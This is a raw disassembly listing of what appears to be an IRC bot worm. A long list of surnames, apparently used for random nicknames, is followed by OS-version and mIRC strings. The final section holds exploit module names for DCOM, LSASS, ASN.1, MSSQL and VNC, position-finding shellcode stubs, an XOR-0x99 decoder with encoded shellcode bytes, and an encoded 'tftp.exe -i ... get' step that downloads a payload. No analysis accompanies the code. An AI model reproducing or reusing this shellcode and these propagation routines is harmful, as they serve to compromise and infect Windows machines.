align 4 aRindos db 'Rindos',0 ; DATA XREF: .XComp0:00445F3Co align 4 aRineer db 'Rineer',0 ; DATA XREF: .XComp0:00445F40o align 4 aRish db 'Rish',0 ; DATA XREF: .XComp0:00445F44o align 4 aRivera db 'Rivera',0 ; DATA XREF: .XComp0:00445F48o align 4 aRobinson db 'Robinson',0 ; DATA XREF: .XComp0:00445F4Co align 10h aRocha db 'Rocha',0 ; DATA XREF: .XComp0:00445F50o align 4 aRoesler db 'Roesler',0 ; DATA XREF: .XComp0:00445F54o aRogers db 'Rogers',0 ; DATA XREF: .XComp0:00445F58o align 4 aRonen db 'Ronen',0 ; DATA XREF: .XComp0:00445F5Co align 10h aRow db 'Row',0 ; DATA XREF: .XComp0:00445F60o aRoyal db 'Royal',0 ; DATA XREF: .XComp0:00445F64o align 4 aRu db 'Ru',0 ; DATA XREF: .XComp0:00445F68o align 10h aRuan db 'Ruan',0 ; DATA XREF: .XComp0:00445F6Co align 4 aRuderman db 'Ruderman',0 ; DATA XREF: .XComp0:00445F70o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: .XComp0:00445F74o align 10h aRush db 'Rush',0 ; DATA XREF: .XComp0:00445F78o align 4 aRyu db 'Ryu',0 ; DATA XREF: .XComp0:00445F7Co aSabatello db 'Sabatello',0 ; DATA XREF: .XComp0:00445F80o align 4 aSadler db 'Sadler',0 ; DATA XREF: .XComp0:00445F84o align 10h aSafire db 'Safire',0 ; DATA XREF: .XComp0:00445F88o align 4 aSahu db 'Sahu',0 ; DATA XREF: .XComp0:00445F8Co align 10h aSali db 'Sali',0 ; DATA XREF: .XComp0:00445F90o align 4 aSamson db 'Samson',0 ; DATA XREF: .XComp0:00445F94o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .XComp0:00445F98o aSanna db 'Sanna',0 ; DATA XREF: .XComp0:00445F9Co align 4 aSapers db 'Sapers',0 ; DATA XREF: .XComp0:00445FA0o align 10h aSarin db 'Sarin',0 ; DATA XREF: .XComp0:00445FA4o align 4 aSartore db 'Sartore',0 ; DATA XREF: .XComp0:00445FA8o aSase db 'Sase',0 ; DATA XREF: .XComp0:00445FACo align 4 aSatin db 'Satin',0 ; DATA XREF: .XComp0:00445FB0o align 10h aSatta db 'Satta',0 ; DATA XREF: .XComp0:00445FB4o align 4 aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .XComp0:00445FB8o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: .XComp0:00445FBCo aSayied db 'Sayied',0 ; DATA XREF: .XComp0:00445FC0o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: .XComp0:00445FC4o align 4 aScepan db 'Scepan',0 ; DATA XREF: .XComp0:00445FC8o align 4 aScharf db 'Scharf',0 ; DATA XREF: .XComp0:00445FCCo align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: .XComp0:00445FD0o aScheiner db 'Scheiner',0 ; DATA XREF: .XComp0:00445FD4o align 4 aSchiano db 'Schiano',0 ; DATA XREF: .XComp0:00445FD8o aSchifini db 'Schifini',0 ; DATA XREF: .XComp0:00445FDCo align 10h aSchilling db 'Schilling',0 ; DATA XREF: .XComp0:00445FE0o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: .XComp0:00445FE4o aSchossberger db 'Schossberger',0 ; DATA XREF: .XComp0:00445FE8o align 4 aSchuman db 'Schuman',0 ; DATA XREF: .XComp0:00445FECo aSchutte db 'Schutte',0 ; DATA XREF: .XComp0:00445FF0o aSchuyler db 'Schuyler',0 ; DATA XREF: .XComp0:00445FF4o align 10h aSchwan db 'Schwan',0 ; DATA XREF: .XComp0:00445FF8o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: .XComp0:00445FFCo aScovel db 'Scovel',0 ; DATA XREF: .XComp0:00446000o align 4 aScudder db 'Scudder',0 ; DATA XREF: .XComp0:00446004o aSeaton db 'Seaton',0 ; DATA XREF: .XComp0:00446008o align 4 aSeeber db 'Seeber',0 ; DATA XREF: .XComp0:0044600Co align 4 aSegal db 'Segal',0 ; DATA XREF: .XComp0:00446010o align 4 aSekler db 'Sekler',0 ; DATA XREF: .XComp0:00446014o align 4 aSelvage db 'Selvage',0 ; DATA XREF: .XComp0:00446018o aSen db 'Sen',0 ; DATA XREF: .XComp0:0044601Co aSennett db 'Sennett',0 ; DATA XREF: .XComp0:00446020o aSeterdahl db 'Seterdahl',0 ; DATA XREF: .XComp0:00446024o align 4 aSexton db 'Sexton',0 ; DATA XREF: .XComp0:00446028o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: .XComp0:0044602Co aShaikh db 'Shaikh',0 ; DATA XREF: .XComp0:00446030o align 4 aShakis db 'Shakis',0 ; DATA XREF: .XComp0:00446034o align 4 aShankland db 'Shankland',0 ; DATA XREF: .XComp0:00446038o align 10h aShanley db 'Shanley',0 ; DATA XREF: .XComp0:0044603Co aShar db 'Shar',0 ; DATA XREF: .XComp0:00446040o align 10h aShatrov db 'Shatrov',0 ; DATA XREF: .XComp0:00446044o aShavelson db 'Shavelson',0 ; DATA XREF: .XComp0:00446048o align 4 aShea db 'Shea',0 ; DATA XREF: .XComp0:0044604Co align 4 aSheats db 'Sheats',0 ; DATA XREF: .XComp0:00446050o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: .XComp0:00446054o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: .XComp0:00446058o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .XComp0:0044605Co align 4 aShesko db 'Shesko',0 ; DATA XREF: .XComp0:00446060o align 10h aShia db 'Shia',0 ; DATA XREF: .XComp0:00446064o align 4 aShibata db 'Shibata',0 ; DATA XREF: .XComp0:00446068o aShimon db 'Shimon',0 ; DATA XREF: .XComp0:0044606Co align 4 aSiesto db 'Siesto',0 ; DATA XREF: .XComp0:00446070o align 10h aSigalot db 'Sigalot',0 ; DATA XREF: .XComp0:00446074o aSigini db 'Sigini',0 ; DATA XREF: .XComp0:00446078o align 10h aSigna db 'Signa',0 ; DATA XREF: .XComp0:0044607Co align 4 aSilverman db 'Silverman',0 ; DATA XREF: .XComp0:00446080o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: .XComp0:00446084o align 10h aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .XComp0:00446088o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: .XComp0:0044608Co aSites db 'Sites',0 ; DATA XREF: .XComp0:00446090o align 4 aSkane db 'Skane',0 ; DATA XREF: .XComp0:00446094o align 4 aSkerry db 'Skerry',0 ; DATA XREF: .XComp0:00446098o align 4 aSkoda db 'Skoda',0 ; DATA XREF: .XComp0:0044609Co align 4 aSloan db 'Sloan',0 ; DATA XREF: .XComp0:004460A0o align 4 aSlowe db 'Slowe',0 ; DATA XREF: .XComp0:004460A4o align 4 aSmilow db 'Smilow',0 ; DATA XREF: .XComp0:004460A8o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: .XComp0:004460ACo aSnodgrass db 'Snodgrass',0 ; DATA XREF: .XComp0:004460B0o align 10h aSocolow db 'Socolow',0 ; DATA XREF: .XComp0:004460B4o aSolon db 'Solon',0 ; DATA XREF: .XComp0:004460B8o align 10h aSomers db 'Somers',0 ; DATA XREF: .XComp0:004460BCo align 4 aSommariva db 'Sommariva',0 ; DATA XREF: .XComp0:004460C0o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: .XComp0:004460C4o align 10h aSorg db 'Sorg',0 ; DATA XREF: .XComp0:004460C8o align 4 aSottak db 'Sottak',0 ; DATA XREF: .XComp0:004460CCo align 10h aSoukup db 'Soukup',0 ; DATA XREF: .XComp0:004460D0o align 4 aSoule db 'Soule',0 ; DATA XREF: .XComp0:004460D4o align 10h aSoultanian db 'Soultanian',0 ; DATA XREF: .XComp0:004460D8o align 4 aSpanier db 'Spanier',0 ; DATA XREF: .XComp0:004460DCo aSparrow db 'Sparrow',0 ; DATA XREF: .XComp0:004460E0o aSpaulding db 'Spaulding',0 ; DATA XREF: .XComp0:004460E4o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: .XComp0:004460E8o aSpence db 'Spence',0 ; DATA XREF: .XComp0:004460ECo align 4 aSperber db 'Sperber',0 ; DATA XREF: .XComp0:004460F0o aSpicer db 'Spicer',0 ; DATA XREF: .XComp0:004460F4o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .XComp0:004460F8o align 4 aSpiliotis db 'Spiliotis',0 ; DATA XREF: .XComp0:004460FCo align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: .XComp0:00446100o aStmartin db 'StMartin',0 ; DATA XREF: .XComp0:00446104o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: .XComp0:00446108o aStam db 'Stam',0 ; DATA XREF: .XComp0:0044610Co align 4 aStang db 'Stang',0 ; DATA XREF: .XComp0:00446110o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .XComp0:00446114o align 10h aStates db 'States',0 ; DATA XREF: .XComp0:00446118o align 4 aStatlender db 'Statlender',0 ; DATA XREF: .XComp0:0044611Co align 4 aStefani db 'Stefani',0 ; DATA XREF: .XComp0:00446120o aSteiner db 'Steiner',0 ; DATA XREF: .XComp0:00446124o aStephanian db 'Stephanian',0 ; DATA XREF: .XComp0:00446128o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: .XComp0:0044612Co aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .XComp0:00446130o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .XComp0:00446134o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: .XComp0:00446138o align 4 aStock db 'Stock',0 ; DATA XREF: .XComp0:0044613Co align 4 aStockton db 'Stockton',0 ; DATA XREF: .XComp0:00446140o align 4 aStockwell db 'Stockwell',0 ; DATA XREF: .XComp0:00446144o align 4 aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .XComp0:00446148o aStonich db 'Stonich',0 ; DATA XREF: .XComp0:0044614Co aStorer db 'Storer',0 ; DATA XREF: .XComp0:00446150o align 10h aStott db 'Stott',0 ; DATA XREF: .XComp0:00446154o align 4 aStrange db 'Strange',0 ; DATA XREF: .XComp0:00446158o aStrauch db 'Strauch',0 ; DATA XREF: .XComp0:0044615Co aStreiff db 'Streiff',0 ; DATA XREF: .XComp0:00446160o aStringer db 'Stringer',0 ; DATA XREF: .XComp0:00446164o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .XComp0:00446168o align 4 aSumner db 'Sumner',0 ; DATA XREF: .XComp0:0044616Co align 10h aSuo db 'Suo',0 ; DATA XREF: .XComp0:00446170o aSurdam db 'Surdam',0 ; DATA XREF: .XComp0:00446174o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .XComp0:00446178o align 4 aSweetser db 'Sweetser',0 ; DATA XREF: .XComp0:0044617Co align 4 aSwindle db 'Swindle',0 ; DATA XREF: .XComp0:00446180o aTagiuri db 'Tagiuri',0 ; DATA XREF: .XComp0:00446184o aTai db 'Tai',0 ; DATA XREF: .XComp0:00446188o aTalaugon db 'Talaugon',0 ; DATA XREF: .XComp0:0044618Co align 4 aTambiah db 'Tambiah',0 ; DATA XREF: .XComp0:00446190o aTandler db 'Tandler',0 ; DATA XREF: .XComp0:00446194o aTanowitz db 'Tanowitz',0 ; DATA XREF: .XComp0:00446198o align 10h aTatar db 'Tatar',0 ; DATA XREF: .XComp0:0044619Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: .XComp0:004461A0o aTawn db 'Tawn',0 ; DATA XREF: .XComp0:004461A4o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .XComp0:004461A8o align 4 aTeague db 'Teague',0 ; DATA XREF: .XComp0:004461ACo align 4 aTemes db 'Temes',0 ; DATA XREF: .XComp0:004461B0o align 4 aTemmer db 'Temmer',0 ; DATA XREF: .XComp0:004461B4o align 4 aTenney db 'Tenney',0 ; DATA XREF: .XComp0:004461B8o align 4 aTerracini db 'Terracini',0 ; DATA XREF: .XComp0:004461BCo align 10h aThan db 'Than',0 ; DATA XREF: .XComp0:004461C0o align 4 aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .XComp0:004461C4o align 4 aTheodos db 'Theodos',0 ; DATA XREF: .XComp0:004461C8o aThibault db 'Thibault',0 ; DATA XREF: .XComp0:004461CCo align 4 aThisted db 'Thisted',0 ; DATA XREF: .XComp0:004461D0o aThomsen db 'Thomsen',0 ; DATA XREF: .XComp0:004461D4o aThroop db 'Throop',0 ; DATA XREF: .XComp0:004461D8o align 4 aTierney db 'Tierney',0 ; DATA XREF: .XComp0:004461DCo aTill db 'Till',0 ; DATA XREF: .XComp0:004461E0o align 4 aTimmons db 'Timmons',0 ; DATA XREF: .XComp0:004461E4o aTofallis db 'Tofallis',0 ; DATA XREF: .XComp0:004461E8o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: .XComp0:004461ECo align 4 aTolls db 'Tolls',0 ; DATA XREF: .XComp0:004461F0o align 4 aTolman db 'Tolman',0 ; DATA XREF: .XComp0:004461F4o align 4 aTomford db 'Tomford',0 ; DATA XREF: .XComp0:004461F8o aToomer db 'Toomer',0 ; DATA XREF: .XComp0:004461FCo align 4 aTopulos db 'Topulos',0 ; DATA XREF: .XComp0:00446200o aTorresi db 'Torresi',0 ; DATA XREF: .XComp0:00446204o aTorske db 'Torske',0 ; DATA XREF: .XComp0:00446208o align 4 aTowler db 'Towler',0 ; DATA XREF: .XComp0:0044620Co align 4 aToye db 'Toye',0 ; DATA XREF: .XComp0:00446210o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .XComp0:00446214o align 4 aTrenga db 'Trenga',0 ; DATA XREF: .XComp0:00446218o align 10h aTrewin db 'Trewin',0 ; DATA XREF: .XComp0:0044621Co align 4 aTringali db 'Tringali',0 ; DATA XREF: .XComp0:00446220o align 4 aTroiani db 'Troiani',0 ; DATA XREF: .XComp0:00446224o aTroy db 'Troy',0 ; DATA XREF: .XComp0:00446228o align 4 aTruss db 'Truss',0 ; DATA XREF: .XComp0:0044622Co align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: .XComp0:00446230o aTsomides db 'Tsomides',0 ; DATA XREF: .XComp0:00446234o align 10h aTsukurov db 'Tsukurov',0 ; DATA XREF: .XComp0:00446238o align 4 aTuck db 'Tuck',0 ; DATA XREF: .XComp0:0044623Co align 4 aTudge db 'Tudge',0 ; DATA XREF: .XComp0:00446240o align 4 aTukan db 'Tukan',0 ; DATA XREF: .XComp0:00446244o align 4 aTurano db 'Turano',0 ; DATA XREF: .XComp0:00446248o align 4 aTurek db 'Turek',0 ; DATA XREF: .XComp0:0044624Co align 4 aTuttle db 'Tuttle',0 ; DATA XREF: .XComp0:00446250o align 4 aTwells db 'Twells',0 ; DATA XREF: .XComp0:00446254o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: .XComp0:00446258o align 10h aUllman db 'Ullman',0 ; DATA XREF: .XComp0:0044625Co align 4 aUntermeyer db 'Untermeyer',0 ; DATA XREF: .XComp0:00446260o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: .XComp0:00446264o aUrban db 'Urban',0 ; DATA XREF: .XComp0:00446268o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .XComp0:0044626Co align 4 aUsdan db 'Usdan',0 ; DATA XREF: .XComp0:00446270o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: .XComp0:00446274o align 4 aVacca db 'Vacca',0 ; DATA XREF: .XComp0:00446278o align 4 aWaite db 'Waite',0 ; DATA XREF: .XComp0:0044627Co align 4 aValberg db 'Valberg',0 ; DATA XREF: .XComp0:00446280o aValencia db 'Valencia',0 ; DATA XREF: .XComp0:00446284o align 4 aWales db 'Wales',0 ; DATA XREF: .XComp0:00446288o align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: .XComp0:0044628Co align 4 aWalter db 'Walter',0 ; DATA XREF: .XComp0:00446290o align 4 aVanallen db 'vanAllen',0 ; DATA XREF: .XComp0:00446294o align 10h aVanzwet db 'VanZwet',0 ; DATA XREF: .XComp0:00446298o aVandenberg db 'Vandenberg',0 ; DATA XREF: .XComp0:0044629Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .XComp0:004462A0o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: .XComp0:004462A4o align 10h aWasowska db 'Wasowska',0 ; DATA XREF: .XComp0:004462A8o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: .XComp0:004462ACo aWaugh db 'Waugh',0 ; DATA XREF: .XComp0:004462B0o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .XComp0:004462B4o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: .XComp0:004462B8o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: .XComp0:004462BCo align 10h aWeissbourd db 'Weissbourd',0 ; DATA XREF: .XComp0:004462C0o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .XComp0:004462C4o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: .XComp0:004462C8o align 4 aWelles db 'Welles',0 ; DATA XREF: .XComp0:004462CCo align 4 aWelsh db 'Welsh',0 ; DATA XREF: .XComp0:004462D0o align 4 aWengret db 'Wengret',0 ; DATA XREF: .XComp0:004462D4o aVenne db 'Venne',0 ; DATA XREF: .XComp0:004462D8o align 4 aVerghese db 'Verghese',0 ; DATA XREF: .XComp0:004462DCo align 10h aWescott db 'Wescott',0 ; DATA XREF: .XComp0:004462E0o aWetzel db 'Wetzel',0 ; DATA XREF: .XComp0:004462E4o align 10h aWhately db 'Whately',0 ; DATA XREF: .XComp0:004462E8o aWhilton db 'Whilton',0 ; DATA XREF: .XComp0:004462ECo aWhite db 'White',0 ; DATA XREF: .XComp0:004462F0o align 4 aWhitla db 'Whitla',0 ; DATA XREF: .XComp0:004462F4o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: .XComp0:004462F8o align 4 aViana db 'Viana',0 ; DATA XREF: .XComp0:004462FCo align 4 aViano db 'Viano',0 ; DATA XREF: .XComp0:00446300o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .XComp0:00446304o aWiener db 'Wiener',0 ; DATA XREF: .XComp0:00446308o align 10h aViens db 'Viens',0 ; DATA XREF: .XComp0:0044630Co align 4 aVignola db 'Vignola',0 ; DATA XREF: .XComp0:00446310o aWilder db 'Wilder',0 ; DATA XREF: .XComp0:00446314o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: .XComp0:00446318o aWilk db 'Wilk',0 ; DATA XREF: .XComp0:0044631Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: .XComp0:00446320o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: .XComp0:00446324o align 4 aVillarreal db 'Villarreal',0 ; DATA XREF: .XComp0:00446328o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: .XComp0:0044632Co aWilson db 'Wilson',0 ; DATA XREF: .XComp0:00446330o align 4 aVitali db 'Vitali',0 ; DATA XREF: .XComp0:00446334o align 4 aViviani db 'Viviani',0 ; DATA XREF: .XComp0:00446338o aVoigt db 'Voigt',0 ; DATA XREF: .XComp0:0044633Co align 4 aWolk db 'Wolk',0 ; DATA XREF: .XComp0:00446340o align 4 aVonhoffman db 'VonHoffman',0 ; DATA XREF: .XComp0:00446344o align 4 aWoo db 'Woo',0 ; DATA XREF: .XComp0:00446348o aWooden db 'Wooden',0 ; DATA XREF: .XComp0:0044634Co align 4 aWoods db 'Woods',0 ; DATA XREF: .XComp0:00446350o align 4 aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .XComp0:00446354o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: .XComp0:00446358o aVotey db 'Votey',0 ; DATA XREF: .XComp0:0044635Co align 4 aYacono db 'Yacono',0 ; DATA XREF: .XComp0:00446360o align 4 aYamane db 'Yamane',0 ; DATA XREF: .XComp0:00446364o align 4 aYankee db 'Yankee',0 ; DATA XREF: .XComp0:00446368o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: .XComp0:0044636Co aYates db 'Yates',0 ; DATA XREF: .XComp0:00446370o align 4 aYbarra db 'Ybarra',0 ; DATA XREF: .XComp0:00446374o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: .XComp0:00446378o aYesson db 'Yesson',0 ; DATA XREF: .XComp0:0044637Co align 4 aYetiv db 'Yetiv',0 ; DATA XREF: .XComp0:00446380o align 4 aYoffe db 'Yoffe',0 ; DATA XREF: .XComp0:00446384o align 4 aYoo db 'Yoo',0 ; DATA XREF: .XComp0:00446388o aYoukSee db 'Youk-See',0 ; DATA XREF: .XComp0:0044638Co align 4 aYu db 'Yu',0 ; DATA XREF: .XComp0:00446390o align 10h aZachary db 'Zachary',0 ; DATA XREF: .XComp0:00446394o aZahedi db 'Zahedi',0 ; DATA XREF: .XComp0:00446398o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: .XComp0:0044639Co align 4 aZegans db 'Zegans',0 ; DATA XREF: .XComp0:004463A0o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: .XComp0:004463A4o aZoldak db 'Zoldak',0 ; DATA XREF: .XComp0:004463A8o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: .XComp0:004463ACo aZurn db 'Zurn',0 ; DATA XREF: .XComp0:004463B0o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: .XComp0:004463B4o align 4 aZytowski db 'Zytowski',0 ; DATA XREF: .XComp0:004463B8o align 4 aS_30 db '%s',0 ; DATA XREF: sub_40C9C0+26o align 4 aSI db '%s%i',0 ; DATA XREF: sub_40C9C0+5Fo align 4 aS_31 db '%s',0 ; DATA XREF: .XComp0:0040CA4Eo align 4 aSI_0 db '%s%i',0 ; DATA XREF: .XComp0:0040CA87o align 10h aPc db 'PC',0 ; DATA XREF: .XComp0:0040CB07o align 4 aPc_0 db 'PC',0 ; DATA XREF: .XComp0:0040CB37o align 4 aPc_1 db 'PC',0 ; DATA XREF: .XComp0:0040CB98o align 4 aSI_1 db '%s%i',0 ; DATA XREF: .XComp0:0040CBD6o align 4 aS_32 db '%s|',0 ; DATA XREF: .XComp0:0040CC19o aSI_2 db '%s%i',0 ; DATA XREF: .XComp0:0040CC52o align 10h a95 db '95',0 ; DATA XREF: .XComp0:0040CCBAo align 4 aNt db 'NT',0 ; DATA XREF: .XComp0:0040CCCAo align 4 a98 db '98',0 ; DATA XREF: .XComp0:0040CCE8o align 4 aMe_0 db 'ME',0 ; DATA XREF: .XComp0:0040CD03o align 10h a2k db '2K',0 ; DATA XREF: .XComp0:0040CD1Eo align 4 aXp_1 db 'XP',0 ; DATA XREF: .XComp0:0040CD39o align 4 a2k3 db '2K3',0 ; DATA XREF: .XComp0:0040CD54o a???_0 db '???',0 ; DATA XREF: .XComp0:loc_40CD5Do aS_33 db '[%s]|',0 ; DATA XREF: .XComp0:0040CD67o align 4 aSI_3 db '%s%i',0 ; DATA XREF: .XComp0:0040CDA0o align 10h aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40CDB9+20o align 4 off_448E58 dd offset loc_5D4D5B ; DATA XREF: sub_40CDB9+2Fo dword_448E5C dd 5D64255Bh, 7325haMirc_1 db 'mIRC',0 ; DATA XREF: sub_40CDB9+5Co align 4 off_448E6C dd offset loc_5D4D5B ; DATA XREF: sub_40CDB9+6Bo ; --------------------------------------------------------------------------- loc_448E70: ; DATA XREF: sub_40D17A+162o jmp short loc_448E74 ; --------------------------------------------------------------------------- loc_448E72: ; CODE XREF: .XComp0:loc_448E74p jmp short loc_448E79 ; --------------------------------------------------------------------------- loc_448E74: ; CODE XREF: .XComp0:loc_448E70j call loc_448E72 loc_448E79: ; CODE XREF: .XComp0:loc_448E72j pop ebx xor ecx, ecx loc_448E7C: ; DATA XREF: sub_40D17A:loc_40D2C1o mov cx, 0FFFFh ; --------------------------------------------------------------------------- db 80h, 73h, 0Eh byte_448E83 db 0FFh ; DATA XREF: sub_40D17A+15Bw dd 0F9E243h ; --------------------------------------------------------------------------- loc_448E88: ; DATA XREF: sub_40D17A+12Eo jmp short loc_448E8C ; --------------------------------------------------------------------------- loc_448E8A: ; CODE XREF: .XComp0:loc_448E8Cp jmp short loc_448E91 ; --------------------------------------------------------------------------- loc_448E8C: ; CODE XREF: .XComp0:loc_448E88j call loc_448E8A loc_448E91: ; CODE XREF: .XComp0:loc_448E8Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_448E95 db 0FFh ; DATA XREF: sub_40D17A+11Fw dw 7380h db 0Ch byte_448E99 db 0FFh ; DATA XREF: sub_40D17A+127w dw 0E243h dd 0F9h dword_448EA0 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40CF37+8Do dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_448F04 dd 12h, 70746674h, 6578652Eh, 20692D20h; --------------------------------------------------------------------------- loc_448F14: ; DATA XREF: sub_40CF37+CAo and [edi+65h], ah jz short loc_448F39 loc_448F19: ; DATA XREF: sub_40CF37+107o add [edx+0], ch loc_448F1C: ; DATA XREF: sub_40CF37+63o call sub_448F38 jnz short loc_448F24 retn ; --------------------------------------------------------------------------- loc_448F24: ; CODE XREF: .XComp0:00448F21j ; .XComp0:loc_448F31j ; DATA XREF: ... call near ptr loc_448F29+1 loc_448F29: ; CODE XREF: .XComp0:loc_448F24p ; DATA XREF: sub_40CF37+144o add [edx+0], ch call sub_448F38 loc_448F31: ; DATA XREF: sub_40CF37+75o jz loc_448F24 retn ; =============== S U B R O U T I N E ======================================= sub_448F38 proc near ; CODE XREF: .XComp0:loc_448F1Cp ; .XComp0:00448F2Cp pop eax loc_448F39: ; CODE XREF: .XComp0:00448F17j pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_448F38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h, 202E6425h dd 7325h aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40D75C+47o align 4 aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40D75C+63o align 10h aDcom2135 db 'dcom2-135',0 ; DATA XREF: sub_4021E5+3CADo ; sub_4021E5+81D0o ... aDcom2135_0 db 'Dcom2-135',0 ; DATA XREF: sub_40DC2A+90o ; sub_40DE28+60o ... dd 5 dup(0) dword_448FE8 dd 87h ; sub_4021E5+3CC7r ... off_448FEC dd offset sub_41104D ; DATA XREF: sub_40DF24+1E4r ; .XComp0:0040EF3Er dword_448FF0 dd 0 ; sub_40DC2A+6Cr ... dd 1 dword_448FF8 dd 0 dword_448FFC dd 0 dd 6D6F6364h, 34342D32h, 63440035h, 2D326D6Fh, 353434h dd 5 dup(0) dd 1BDh, 41104Dh, 0 dd 1, 2 dup(0) dd 2D6C7173h, 33333431h, 71730000h, 34312D6Ch, 3333h, 5 dup(0) dd 599h, 411ED3h, 0 dd 1, 2 dup(0) aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 4104C7h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 4104C7h, 0 dd 2 dup(1), 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 411C70h, 0 dd 2 dup(1), 0 dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 412F34h, 5 dup(0) dd 10100h, 0Eh dup(0) dword_4491C0 dd 2D6C7173h, 33333431h db 2 dup(0) byte_4491CA db 1 ; DATA XREF: sub_4021E5+3B1Ar ; sub_4021E5+3B46r aAsn445_0 db 'asn445',0 align 4 dd 736C0000h, 5F737361h, 353434h, 636E7600h, 6F747561h dd 1000000h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_44920A ; =============== S U B R O U T I N E ======================================= sub_4491FA proc near ; CODE XREF: sub_4491FA:loc_44920Ap pop edx dec edx xor ecx, ecx mov cx, 166h loc_449202: ; CODE XREF: sub_4491FA+Cj xor byte ptr [edx+ecx], 99h loop loc_449202 jmp short loc_44920F ; --------------------------------------------------------------------------- loc_44920A: ; CODE XREF: .XComp0:004491F8j call sub_4491FA loc_44920F: ; CODE XREF: sub_4491FA+Ej jo short near ptr dword_449184+26h cwde cdq cdq retn sub_4491FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h 